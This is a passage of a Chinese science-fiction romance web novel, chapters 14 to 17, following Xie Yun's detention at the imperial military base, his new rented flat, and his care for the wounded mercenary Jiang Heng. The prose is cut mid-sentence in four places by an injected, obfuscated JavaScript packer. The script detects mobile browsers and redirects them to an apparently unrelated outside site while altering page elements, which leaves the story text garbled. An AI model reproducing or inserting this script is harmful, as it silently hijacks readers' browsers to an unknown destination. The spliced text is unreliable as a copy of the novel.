军部的星舰闸口远比他想象中更具压迫感。百米高的合金闸门如巨兽的颚骨,表面镌刻着的帝国星徽,泛着肃穆的冷光。两侧的岗哨塔上,士兵持枪而立,银白的制服与银白色的金属建筑融为一体。往来飞跃的战舰从他们头顶掠过,留下淡蓝色的能量尾迹,与闸口上方流动的全息公告屏交织,构成一幅独属于帝国军部的庄严而磅礴的景象。 这是他第一次踏足这里。 而这里是他向往之地。 过道尽头站着约莫六七个人,个个穿着笔挺的军制常服,一看就是军部的核心层。 而站在最前头的那个中年男人,穿着高级军官制服,领口处绣着金色雄鹰徽记。男人的眉眼和晏斯牧有几分相似,只是比起他更加威严和凌厉。 周围的人都屏息静立,显然对这个中年男人极为敬畏。 谢筠猜,这个男人应该就是晏斯牧的父亲。 他们帝星联盟的总督。 旁边突然传来军靴踏在地面上发出的整齐划一的脆响声,谢筠转头,就看见一小队士兵就从旁边的通道口跑出来,将他和晏斯牧团团包围住。 晏斯牧立刻就抬手将他护在身后,虽说这种保护法也没什么作用,毕竟他们是被包围,谢筠的身后也有人。 但他的行为落在中年男人眼里就不一样了。 中年男人眯了眯眼,下令道:“把他抓起来。” 话音刚落,谢筠就被身后的士兵架住了肩膀。 但晏斯牧直接侧身旋踢,将抓着谢筠的其中一个士兵踹飞了出去。 旁边有两个士兵想要上前阻拦,也被晏斯牧踹飞了。 “谁都别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074213|179307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想动他。” 可就在晏斯牧和那些士兵对峙的时候,一道微弱的嗡鸣突然响起。 谢筠瞥见一个拇指大的银色飞行仪,不知从哪里出现,悄无声息地悬在晏斯牧身后。 飞行仪前端弹出一根细如发丝的枪管,瞄准了他的后颈。 一枚银白小针破风而出,快得像一道光,精准地刺入晏斯牧后颈的皮肤。 晏斯牧的身体猛地一僵。 几秒钟后,他的头无力地垂了下去,黑发遮住了半张脸,很快就失去了意识。 晏斯牧的身体滑落时被他身后的士兵扶住,而谢筠也在同一时刻被扣上了电子手铐。 他没有反抗。 他不傻,反抗才是愚蠢的行为。 他被带到审讯室。金属门在身后锁死的瞬间,最后一丝光线被掐断。 门关上后,这间审讯室就像一个密不透风的盒子。 谢筠被看守机器人按在椅子上,手腕和脚踝都扣着电磁锁,冰冷的金属紧贴皮肤,将他牢牢固定在椅子上。 没多久,对面的墙壁就亮起幽蓝的光,全息投影中出现审讯官的脸。 对方冷声质问:“你在蓝星对晏斯牧少将做了什么?” 谢筠抬眼,声音平静道:“我什么都没做。” 之后他记不清自己经历了几次审讯,反正每次他都是相同的回答。 他也不清楚自己到底在里面呆了多久,在这个昏暗狭小的空间里,时间仿佛也变得非常漫长。 直到…… 审讯室的门被人开启。 “你可以出来了。” 听到这句话,谢筠就知道自己赌赢了。 电磁锁自动解除,手腕和脚踝的束缚猛地一松,积压了许久的麻意顺着四肢百骸涌上来。他撑着扶手站起来时,膝盖猛地打了个颤,要不是自己眼疾手快,用手攥住椅子边缘,不然就该给门口的人来一个跪拜了。 走出审讯室,走廊的光刺得谢筠下意识眯了眯眼。 然后他就在余光中,看见了晏斯牧的身影。 晏斯牧站在离门三步远的地方,背对着光,轮廓被描上一层模糊的金边。 说实话,他挺惊讶的。 他以为自己暂时不会再和男人见面了。 而刚才给他放行的士兵则悄无声息地退到拐角,然后彻底消失。 现在走廊里,只剩下他和晏斯牧。 几乎是在和男人对上视线的瞬间,谢筠就能肯定,他恢复记忆了。 晏斯牧就站在那里,神情淡漠的看着自己。 谢筠的目光撞进他眼里时,像落进了深不见底的寒潭。 那双眼睛不再像在蓝星时那样纯粹,只剩下一片沉沉的黑。 “你恢复记忆了。”他用的是肯定句。 “恩。”晏斯牧淡淡的应了声。 “那我可以走了吗?”既然对方已经恢复记忆,谢筠觉得自己也就没什么可和他聊的了。 “可以。”晏斯牧的声音依旧没什么起伏。 谢筠没再说一个字,径直从晏斯牧身边走过。肩膀擦过对方衣袖时,却莫名感觉到一丝极轻的阻力,像被空气里的什么东西绊了一下,下意识顿了半秒。 他停下脚步,想了想还是回头看着晏斯牧问道:“你还记得那几天的事吗?” “不记得。”晏斯牧回视他。 男人的回答也算是在他的意料之中,却还是有什么东西在心里轻轻沉了一下。 他其实是故意问的。 他本来想看看,如果这个人还记得在蓝星那几天的所有事,会是怎么样的心情。 但现在他又有些好奇,既然男人已经不记得蓝星上发生的一切,那他出现在这里又是为什么? 单纯放他走? 那让手下的士兵来就可以了吧? 只是当他抬眸对上男人平淡沉寂的眼神时,又觉得没什么问的必要了。 对方是真的不记得也好,假的也罢,无所谓了。 那就是一次虚假的体验,他也会忘记。 为了自己命都不要的那只狗,现在已经不存在了。 15. 第 15 章 “离开那个角斗场。” 他离开军部基地前,晏斯牧对他说了这句话。 虽然他没回应晏斯牧,但他自己本来也就是这么想的。 尽管帝国政府对于佣军的存在不会过多干涉,但帝星军和佣军却一直是对敌对关系。 所以对于角斗场来说,既然当初佣军团选择放弃了他,那么谢筠最好已经是一个死人。 还好当初打擂台赛赚到的奖金,他全都转存到了自己的虚拟账户上。 这笔钱至少让他有了一个保障。 只是以后他大概也没有机会再去角斗场看枭打擂台了。 后来谢筠想,自己之所以会对枭产生好感,可能也是因为带着机械面具的枭,让他有很多想象的空间吧。 再加上和江珩接触过后,对方温柔体贴的性格,也确实是会让他心动的类型。 所以想到江珩的时候,他偶尔也会有种怅然若失的感受。 不过其实他也没想过自己会和江珩有什么发展。 他从不是主动的人。 更何况对现在的谢筠来说,谈恋爱什么的,暂时还不在他的考虑范围之内。 角斗场是回不去了,而他复学还有八个多月的时间。 所以谢筠想先找个住的地方。 虽说他目前在帝星的身份是黑户,但他拥有第一机甲学院的学生证,比真正的黑户还是多了一些灵活的空间。 谢筠在终端上输入自己的需求,半空中立刻浮起淡蓝色的全息投影。 房源信息快速滚动起来,然后依次排序出来。 最顶端的那条被标了醒目的橙色箭头,是系统判定的「最优匹配」。 谢筠点进详情页,就能查看房子的全景图。 房子空间不大,装修简单温馨,家具齐全,设施也是全智能化。唯一的缺点,可能就是位置比较偏,但也因为这个原因,所以租金便宜。 谢筠直接在终端上走完了租房流程。 付完租金后,屏幕就自动刷新,一行银灰色的文字弹了出来:「房屋信息已确认,地址:N区10079巷5号门777 室,智能锁密码:739241」。 他的指尖在屏幕上顿了顿,划开房屋信息下方的地址,正查看路线呢,终端又震动了一下,是条新消息。发件人标注着「房主助理」,内容很简洁:「已为您预约悬浮艇,车牌号 AX-907,五分钟后到达,祝您入住愉快。」 这是房主送给每一位租客的见面礼。 帝星一共二十四个区,从M区到V区都是比较偏僻的区域,因为各种原因,不好管辖,相对前面那些区,也就显得混乱一些。 越靠近后面的区域,越混乱。 而X区就是谢筠出生的贫民窟。 这个区是被帝星隔离在外的区域,设置了防护门槛。其他区的人想要进入X区倒是没有门槛,但进去后想要回来就没有那么容易了。除非身份识别通过,否则就无法跨过那道电子护栏。 谢筠是在C区上的悬浮艇,C区距离N区有一些距离。 他在悬浮艇上睡了一觉,醒来就已经到了他所租的那间房子的小巷外。 这条小巷很窄,悬浮艇开不进去。 谢筠下了车,发现天都已经黑了下来。 马路两边,行人零零散散,几十层高的居民楼一排排矗立着。谢筠拐进巷子,数着单元门慢慢往里走。 其实这一刻他的心情是有些激动的。 而这股情绪在他进入他租下的那间房子后,变得更强烈了一点。 小时候刚被继母赶出去那会儿,谢筠以为自己表现的乖巧一些就能很快回到家里,能睡回自己的小床。后来他就只希望自己能回到家里,睡在地上也没有关系。再后来…… 再后来他就不抱那些不可能会实现的期盼了。 只是可能是因为小时候他太渴望回家,太渴望自己的小床了,所以长大后,他对拥有自己的房子和床有强烈的执念。 只是这股执念他只会放在自己心里,不会表现出来。 当初他会选择去那个角斗场打黑工,就是因为那边提供单人宿舍。 虽然现在租下的这个房间并不真正属于他,但至少在他租住的这段时间里,这间房子是只属于他的空间。 这间房子虽然有智能机器人打扫,但谢筠还是亲自动手又打扫了一遍。 打扫完,他又在终端上下单了床品和一些必备的生活用品。 从小的经历让他花钱十分克制,但唯独对这些,他会舍得一些。 因为他一直希望能拥有一个温馨的家。 谢筠在租的房子里休息了一天,然后又出去转了转。 N区并不繁华,但人口却挺密集的,只是鱼龙混杂,加上管辖松懈,也就导致治安并不是很好。 所以晚上的时候,路上很少有人闲逛。 虽说当初打擂台赛赢得奖金已经够他接下来的生活费和未来一年的学费,但谢筠不是喜欢闲着的人。 所以他想到处逛逛,看看有没有适合自己的事情可以做。 只是对周边也确实不熟悉,绕来绕去逛得就有点晚了。 谢筠提着一盒炒面往家走时,在光线昏暗的小巷里看见一个垂着头靠坐着的男人。 起初他并没有在意,只以为是什么醉汉或者失意的人。 只是视线随意扫了一眼,在看见对方一头银白色长发时顿住了脚步。 而在看清对方的脸后,他猛地惊了一下,立刻快步走到了男人跟前蹲下:“江珩?!” 江珩穿着浅色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074214|179307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服,肩头和腹部晕着大滩的血迹。 “你受伤了?” 江珩先前一直低着头,像是处在昏沉的状态,直到听见了谢筠的声音后才缓慢抬头。 谢筠这才看见,江珩的颧骨和嘴角也有大片的淤青和破口,而他那头漂亮的银发,也被血迹染上了刺目的红。 江珩的伤看起来很严重,肩膀上的像是枪伤,但腹部又像是刀伤。 他是怎么受伤的? 为什么不用恢复剂? 短短一瞬间,谢筠脑海里冒出了许多疑问,只是现在都不是询问的时候。 而江珩在看见他后,眼睛像是亮了一下,随即露出了一个虚弱却温柔地微笑。 他说:“太好了,谢筠你还活着。” …… 谢筠将江珩带回了出租屋内。 他问江珩发了什么事。 江珩只是说他被佣军团赶出来了,但至于为什么被赶出来,他没有说。 怎么受伤的,也不说。 只是在谢筠问他为什么不用恢复剂的时候,一脸虚弱地苦笑着说:“我没钱了。” 说完这句话,江珩就像是失去了意识,紧蹙着眉头,陷入了半昏半醒中。 谢筠找来剪刀,剪掉了江珩上身的衣服。 随着衣服被剪开,江珩精壮白皙的躯体也展露在他眼前,当然还有他肩膀和腹部的伤口。 谢筠猜测的没有错,江珩肩膀上的是被枪射穿的伤口,而腹部应该是被小刀捅的。 血已经不再流了,只是伤口血肉模糊的样子依旧显得很狰狞。 他的手指触及到江珩手臂上的肌肤,能感受到灼热的温度。 也不知道江珩是什么时候受的伤,现在伤口明显开始恶化,如果再不做些措施,情况肯定会变得更糟。 谢筠点开自己的个人账户,看了一下账户里的余额,他只犹豫了几秒,就起身出门。 高级恢复剂并不能随意购买,需要去专门的售卖机。 N区的售卖机距离他住的地方有点远。 谢筠直接叫了一辆悬浮艇。 来回花了二十几分钟的时间。悬浮艇刚飞行到小巷口还没停稳,谢筠就已经开启舱门跳了下来,然后一路跑回了家。 跑进家门时他都还在喘着气,可他脚步没有任何停顿,一路小跑到了江珩身边,然后动作麻利的拆出恢复剂,抬起江珩的手臂,将针头对准静脉刺入,再将药剂稳稳地注射了进去。 江珩原本因为痛苦紧皱的眉头,也在恢复剂注射完毕后渐渐松懈下来。 没多久,他就醒了。 先是茫然地起身,然后在看见谢筠后,露出了复杂的眼神。 随后,谢筠就听见他带着浓浓愧疚的一声: “对不起。” 16. 第 16 章 “为什么忽然道歉?” 江珩的手撑在沙发沿,深色的沙发衬托得他的手指白皙修长。他垂着眼,嗓音低而涩:“极寒之星那天,我没能阻止他们离开。” 谢筠其实已经猜到他道歉的原因了,只是问:“那后来他们有没有回头去找大雁?” 江珩沉默片刻,回道:“没有,其实佣军团那些人从来都是利益至上,很少在意成员死活。说白了就是搭伙求财的野狗群。” 明明就算受了伤狼狈坐在地上的模样都充满贵气,却把自己形容成野狗。谢筠忍不住弯了弯唇:“所以你不必道歉。我知道当时你也做不了什么。” ——至少,他曾想过要救我,这就够了。 “对不起。”江珩却再一次开口。 “怎么又来?”谢筠无奈,他无奈的时候语气会变得比平日绵软一些。 江珩抬眼,眸色深沉眼神复杂,随后很快又露出了愧疚的神情。 “你还活着,我才有机会说这三个字。”他声音很轻,语气低哑得像自剖:“要是你……那我就连道歉的机会都没有了,不是吗?” 谢筠叹了口气,“可这不是你的错,江珩。别再道歉了。” 江珩却执拗地追问:“那你会怪我吗?” 谢筠摇头。 江珩牵了下嘴角:“也是,你要是怪我,就不会把我带回来了。” 他的目光掠过垃圾桶,那支高级恢复剂的金属外壳静静地躺在最上边。那一瞬,他眼底像有什么情绪被锋利地划开,又迅速阖上。再抬头时,只剩温温淡淡的笑:“恢复剂的钱,我会还你。” “不用。”谢筠立刻回道。 “要还。”江珩嗓音温和,态度却十分坚决。 谢筠知道拗不过他,便顺着他:“好,等你有钱了再还。” 江珩点头回了声好,旋即自嘲地弯了弯唇:“只是……可能要让你等一些时间了。” “那就慢慢等。”谢筠把话尾收得随意,他本来就不想和江珩计较这个钱。 江珩撑着膝盖站起,一米九的身高在低矮的出租屋里像一截突兀的桅杆。尽管伤口已经完全愈合,但身上那件染满了鲜血的衣服依然十分刺眼。 谢筠抿了抿唇,刚想开口询问,却被江珩抢先:“这是你刚租的房子吗?” “嗯。”谢筠应道。 “能收留我几天吗?”江珩垂眼看他。 只要站起来,他就比谢筠高出许多。 而谢筠想要和他对视,就只能微微扬起脑袋。 只是和晏斯牧那种倨傲淡漠的眼神不同,江珩的眼神总是温润平和的。 谢筠租的这个房子空间真的不大,三十几平方的地方还被分割成一室一厅一卫的格局。只不过卧室和所谓的客厅是连在一起的,只有厨房和浴室是独立空间。 这样小的空间,住谢筠一个人刚好,但是再住进来一个人高马大的江珩,就一下显得拥挤了很多。 但就算江珩不用这种请求的语气对他说,他也会让人留下来。他把江珩带回来,本来就是想让人住在这里。 谢筠是从衣柜里翻出自己的衣服递过去:“先去洗个澡吧,把身上的脏衣服换下来。” 其实江珩身上的血腥味很重,但谢筠不会这么说。 江珩接过那两件衣服时,动作顿了一下。 他垂着眼看着手里的衣服,像在端详什么。 谢筠以为他嫌衣服不够干净,忙解释道:“新买的,只下水洗过一次,我还没穿过。” 他是空着手搬进这间小屋,所有东西都是现买现凑。 只是谢筠对穿着打扮这些没太多要求,买的也都是最普通最便宜的款。 江珩却低笑了一声,声音轻柔道:“我不是在意那些,只是有点……受宠若惊。” 谢筠还不理解他为什么会受宠若惊。 江珩已经拿着衣服往浴室走。 门扇即将合拢时,他又侧身补了一句,“就算你穿过的,我也不会嫌弃。” 说完,浴室门被阖上,门锁落下,水声随即淅沥。 而谢筠愣在原地,指尖在身侧微蜷。 半晌,他才低头点开终端,让智脑帮自己点餐。 外卖到得很准时,谢筠提着外卖刚转身,就看见江珩已经擦着头发出来。 他的视线落在江珩手中的毛巾上,才想起来自己刚刚好像忘记给他一条新的毛巾了。 而江珩顺着谢筠的视线也落在了自己手中的毛巾上,然后他立刻将毛巾从头上拿下来,问道:“我用错了吗?我看这条是放在架子上的,就以为是擦身体的。” “没事,是擦身体的。” 只是是他擦身体的毛巾……不过应该问题也不大吧? 他洗干净了的。 江珩听到回答后就放心的继续擦起头发来。 谢筠把外卖放到小桌上。 他这里没有餐桌,只有一张低矮的茶几。 这两天他要是在家吃饭,就都是直接坐在地上,然后在小茶几上吃。 江珩将毛巾扔进脏衣篓后走过来。 一米九的大高个,穿着谢筠的衣服,T恤的袖口卡在他上臂,裤脚吊在脚踝以上,像套了高中生的衣服一样。 明明穿着最廉价的不合身的衣服,可江珩站在那里,一头银色长发随意披散,发梢仍带着未干的水汽,在灯下泛着冷月似的光。肩背的线条、站姿的弧度,连同垂在身侧的长指,每一处都像被精细雕刻过。 他站在这间普通的出租屋里,像是个误闯贫民窟的贵族。 气质这种东西是天生的吗? 其实谢筠自己也不清楚。 那是种很微妙的感觉。 他只是从始至终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074215|179307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得,江珩真的不像是会做佣军的人。 但其实他毕竟对江珩了解也不算多,他所以为的也不一定是准确的。 江珩挨着他坐下。长手长脚换了好几次姿势,才好像找了个舒服的姿势坐好,就像是第一次坐地上一样拘谨。 谢筠把一次性筷子“咔”地掰开,递过去,又把热腾腾的炒饭往他面前推:“炒饭你会吃吗?这家是我吃过的,味道还可以。” 江珩伸过手来接过筷子,指节在廉价竹木上显得格外修长,他笑得温驯:“我不挑食。” 后来,当谢筠亲眼见识过这人极度奢靡极度挑食的生活后,再回忆起他与自己生活的这段过往,也不免感慨对方为了接近自己,把迁就演得天衣无缝,也真是煞费苦心。 但这一刻的江珩就真的像是他说的那样,一点不挑食的往嘴里大口扒着炒饭。 可能是谢筠看向江珩的眼神太频繁了,以至于他终于抬头,无奈笑道:“怎么了?是担心我吃不下吗?” 谢筠摇头,犹豫片刻还是开口问道:“你,为什么会被赶出佣军团?” 这个问题他纠结了一个晚上,最终还是选择问出口。 江珩没立刻回答,只是静静地看着谢筠,目光温和。 谢筠也没移开视线,两个人就那么无声地对视着。 过了好一会儿,江珩才轻叹了口气,像是终于妥协,缓缓说道:“我不想说,是因为不想让你产生负担。” 只这一句,就印证了谢筠先前的猜测。 “是因为我吗?”他问。 江珩的沉默等于回答。 谢筠自顾自往下猜:“是因为我,你违反了什么规定?” “还是因为我,你做了什么出格的事?” 江珩把筷子平放在塑料盒上,“极寒之星那次,我想要自己去救你,但被他们打晕了。” 谢筠安静听着。 “醒来就已经回到了阿尔法星,”江珩垂着眼,语气低沉:“他们告诉我你已经死在那里,我气不过……对着黑鸦开了一枪。” 说完,他抬眼冲谢筠笑了笑,用无足轻重的语气说道:“就是这样。” 谢筠知道事情当然不会这么简单。 黑鸦既然能坐上佣军团队长的位置,肯定也是个心狠手辣的家伙。 江珩除了被赶出佣军团,连个人账户都被清空,而且还受了这么重的伤…… “你的伤是他们做的吗?” “恩。” 这次江珩回答的倒是很快。 谢筠蹙眉:“那,他们放过你了吗?” 尽管他对佣军团会如何处理手下成员的手段了解不多,但像江珩这样,所谓的被赶出来,真的,就这么简单被放过了吗? “没有,他们还在追杀我,”江珩说着又低下嗓音道:“如果你担心,我可以马上走。” 17.第 17 章 月光从窗帘缝里钻进来,在地板上投下道细长的光带,刚好落在江珩的发梢上。 银白的发丝被月光浸得发亮。 谢筠睁着眼,轻轻翻了个身。 地铺就在床边,江珩侧躺着,呼吸很轻应该是睡着了。 谢筠能看见他露在被子外面的肩膀,线条很利落,连呼吸时起伏的弧度都透着种沉静的温柔。 而越是安静的环境,一些声音就会变得越发明显。 比如他自己的心跳声。 砰、砰、砰,慌乱地撞着胸腔。 这是他第一次和心动的人睡在同一个房间里。 不只是今晚,如果没有意外的话,他们还会住在一起几天。 所以难免,会有些难以入睡。 倒也不是想入非非什么的,谢筠没谈过恋爱,对很多事情一窍不通,脑子里干净得像张白纸,他就是单纯有点紧张。 因为江珩睡前对他说的话。 江珩对他说:“我很在意你。” 因为在意他,所以听见他的死讯后才会无法克制怒火,对着黑鸦开了枪。 而男人在说完这些后,又微笑着问他:“你会不会觉得我在骗你?” 那时候谢筠是怎么回答的? 他只记得自己被江珩那句“很在意他”的话冲击到,呼吸都乱了节拍,结结巴巴地开口回道: “你、你骗我也……也没什么好处啊。” “我……一个孤儿,没钱没权,顶多、顶多让你骗一支高级恢复剂。” 他记得江珩听到他这么说还笑了声,然后对他说:“我也是孤儿。” “所以我们真的很有缘。” …… 谢筠也不知道自己是什么时候睡过去的,醒来时江珩已经不在房间里了。 他一下从床上坐起来,心口莫名的慌乱。 尽管知道江珩应该没有离开,不然昨晚也不会主动说出要在这里住几天的话。但是一想到他还在被佣军团追杀,就忍不住会为他担心。 所以他简单洗漱了一下就出了门。 就算不知道江珩去了哪里,但还是想出门去找一找。 今天外面很热闹,平日里灰蒙蒙的主街上空,悬浮着数十块全息投影屏,大小不一,却都在播放同一张脸。 晏斯牧穿着银白的将官制服,肩章上的星徽在聚光灯下闪得刺眼。他站在星舰的舷梯上,身后是列队整齐的士兵,镜头拉近时,能看清他下颌线绷得笔直,眼神锐利如鹰。记者的采访全都是他身边的副官在回答,而屏幕下方滚动着鲜红的字幕:「帝国少将晏斯牧率第七舰队击溃星际海盗主力,大捷归来!」 全息投影的光映亮了整条街,画面里一直循环播放晏斯牧的捷报。 连N区的杂货铺老板都把他的照片打印出来,贴在铁皮柜台上,用来吸引客人。 帝星民众对这位少将的景仰,堪称空前绝后。 没人会否认,晏斯牧的背景足够耀眼。父亲是联盟总督,母亲是顶级豪门,他从出生起就站在别人难以企及的高度。 但群众的爱戴,从来不是靠背景就能堆起来的。 谢筠曾经特意搜索过晏斯牧的资料。 晏斯牧的许多经历都是对外公开的。 比如他十七岁,放弃保送帝国军事学院的名额,瞒着家里加入偏远星系的戍卫队,成了最基层的列兵。那段时间,他没有用“晏”这个姓氏,只以普通士兵的身份,在异兽横行的偏远星守过六个月的瞭望塔。 档案里有段模糊的全息记录:某次遭遇敌军突袭,他所在的小队被围困在废弃矿场,队长牺牲,通讯中断。是当时还未成年的晏斯牧,带着三名伤员,徒手拆掉矿场的废弃反应堆,用泄露的辐射波逼退了敌人。事后他自己受了严重的辐射病,躺了一周的医疗舱,却拒绝了所有表彰,只要求把功劳记在牺牲的队长名下。 他升上少将并不是靠家族背景,而是靠他毋庸置疑的强大实力,和一场又一场的胜战得来的。 这也是他深受帝星群众爱戴的原因。 “听说了吗?这次帝星军把偏远星系那帮杂碎端了个彻底!”有人拍着大腿喊,声音里满是兴奋。 “还是晏少将厉害啊!”旁边的人接话,语气里带着近乎崇拜的敬畏,“三年前平叛远境,去年捣毁敌军窝点,现在又端了海盗老巢,简直是咱们帝星的守护神!” 谢筠还记得三天前离开军部时,走廊里的电子屏正滚动播放着调令,那时候他扫了一眼,上面只写着第七舰队全员集结。 原来那时候就是要去清剿掠夺者吗? 只用了三天时间?甚至可能只有两天?晏斯牧就已经胜战归来。 尽管不想承认,但晏斯牧确实拥有让人钦佩的实力。 谢筠站在人群边缘,抬头望着全息投影。 屏幕里的晏斯牧正接受表彰,金色的绶带斜过胸膛。站在高台中央的男人非常耀眼夺目,和他记忆里在走廊上居高临下注视着他时那副倨傲的样子重合,又和蓝星密林里那个举着红果对他微笑着的身影格格不入。 有孩子举着画着像是白泽机甲的卡片跑过,差点撞到谢筠身上。 “对不起!”孩子脆生生地喊,又蹦蹦跳跳地扎进人群,嘴里喊着:“我以后也要当晏少将那样的英雄!” 谢筠往后退了退,靠在斑驳的墙面上。 阳光穿过全息投影的光晕,在他脚边投下碎金似的光斑。 屏幕里的晏斯牧正在敬礼,姿势标准得像教科书,接受着数万人的欢呼。 他忽然想起当初离开学院时,室友对他说的话:“有些人天生就属于云端。” 以前他不懂,现在看着这片因为英雄少将而变得热闹街区,好像有点懂了。 “在这里发什么呆?” 温和的嗓音将谢筠的视线从全息投影上拉回。 他抬眼,撞进江珩含笑的双眸里,而他居然连对方是什么时候走到自己身边的都不知道。 本来自己出门的目的是为了找江珩,结果却被全息投影上的实时新闻吸引了那么久的视线…… 莫名的,他对江珩产生了一丝歉疚。 江珩抬眸随意扫了一眼全息投影,笑了声说道:“看来接下来几天,新闻又该循环播放我们少将的英雄事迹了。” 基于国民对于少将的关注度,所以关于晏斯牧的任何事热度都会很高,而新闻也都会争相报道,并且循环播放。 江珩说这句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078587|179307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,谢筠正在看他手中的早餐,所以并没有关注到他眼底一闪而过的阴戾。 “这早餐……” 他也不好意思问江珩哪来的钱买的早餐。 但江珩听懂了他的疑问,拿着早餐袋子的手抬起,微笑着说:“我帮你买的。” 回去路上,两人并肩走着。 “我让人帮我做了一个假身份。”江珩一边走一边和他解释道。 他说自己有一个靠谱的兄弟在N区,昨天他逃到这里,本来是想去找那个人的,只是中途没撑住,就那么凑巧,正好晕在了谢筠所租住的小区的巷子里。 谢筠轻轻笑了一下,说:“所以你说我们很有缘。” 江珩也笑道:“是啊,可能这就是命中注定?” 谢筠眼睫轻颤了一下,耳朵尖慢慢浮现一层薄红。 江珩将他的反应尽收眼底,垂眸缓缓道:“其实我本来也不相信你死了,如果昨天没遇到你,我会去极寒之星找你。” 谢筠愣住了。 江珩却忽然低头,微微弯腰靠近谢筠,温柔笑道:“我还找他借了点钱,毕竟总不能住在你这里了还在你这里蹭吃蹭喝。” 突然靠近的温热气息让谢筠有一瞬间慌乱,进门时连密码都按错了一位。 他低着头都不敢看江珩,怕被发现自己脸上的局促,只是不停说着没关系。 他是真不介意这些。 但江珩好像很在意这些。 谢筠就想,或许是他现在落魄了,所以就更不想在一些事上没有自尊吧。 他并不了解江珩的过去,但他觉得江珩就算只是做一个佣军,应该也是意气风发的。 所以他能理解江珩的行为,也主动换了一个话题: “换了新身份能让佣军团找不到你吗?” “暂时吧。”江珩回道。 只是暂时的话,也就是还是逃不掉吗? 谢筠皱了下眉,其实从昨天到今天他一直都在想这件事,只是他经历太少了,对于这些事到底该怎么办他也没有头绪,所以一直在烦恼着。 “那接下来,你有想过怎么办吗?” 江珩看着倒是一点都不像在被人追杀的模样,毫无紧迫感:“如果我说我想去别的星球,你愿意和我一起去吗?” 谢筠怔愣抬眼,对上江珩含笑的温柔眉眼,心跳再次失了节奏。 有些话就算没有言明,他也不是什么都感受不到,江珩对他的情愫已经表达的非常明显。 他们这样算是两情相悦吗? 可是谢筠没办法跟他一起离开。 “我走不了,我还要回学院复学……” 尽管他认为自己的选择没错,却还是莫名有种愧对了江珩的感受。 江珩在听见他的回答后并没有露出失望的神情,反而弯了弯眼角,“我开玩笑的。” 头顶忽然落下片温热的阴影。 江珩的手掌轻轻覆了上来,修长的手指穿过他的发间,动作轻柔地揉了揉他的头发,“我知道你要回学校,也知道你有抱负,所以……” “所以什么?”谢筠抬头看向他。 江珩微笑着,指尖蹭过他的发旋,缓缓道:“所以我打算先进入军部。”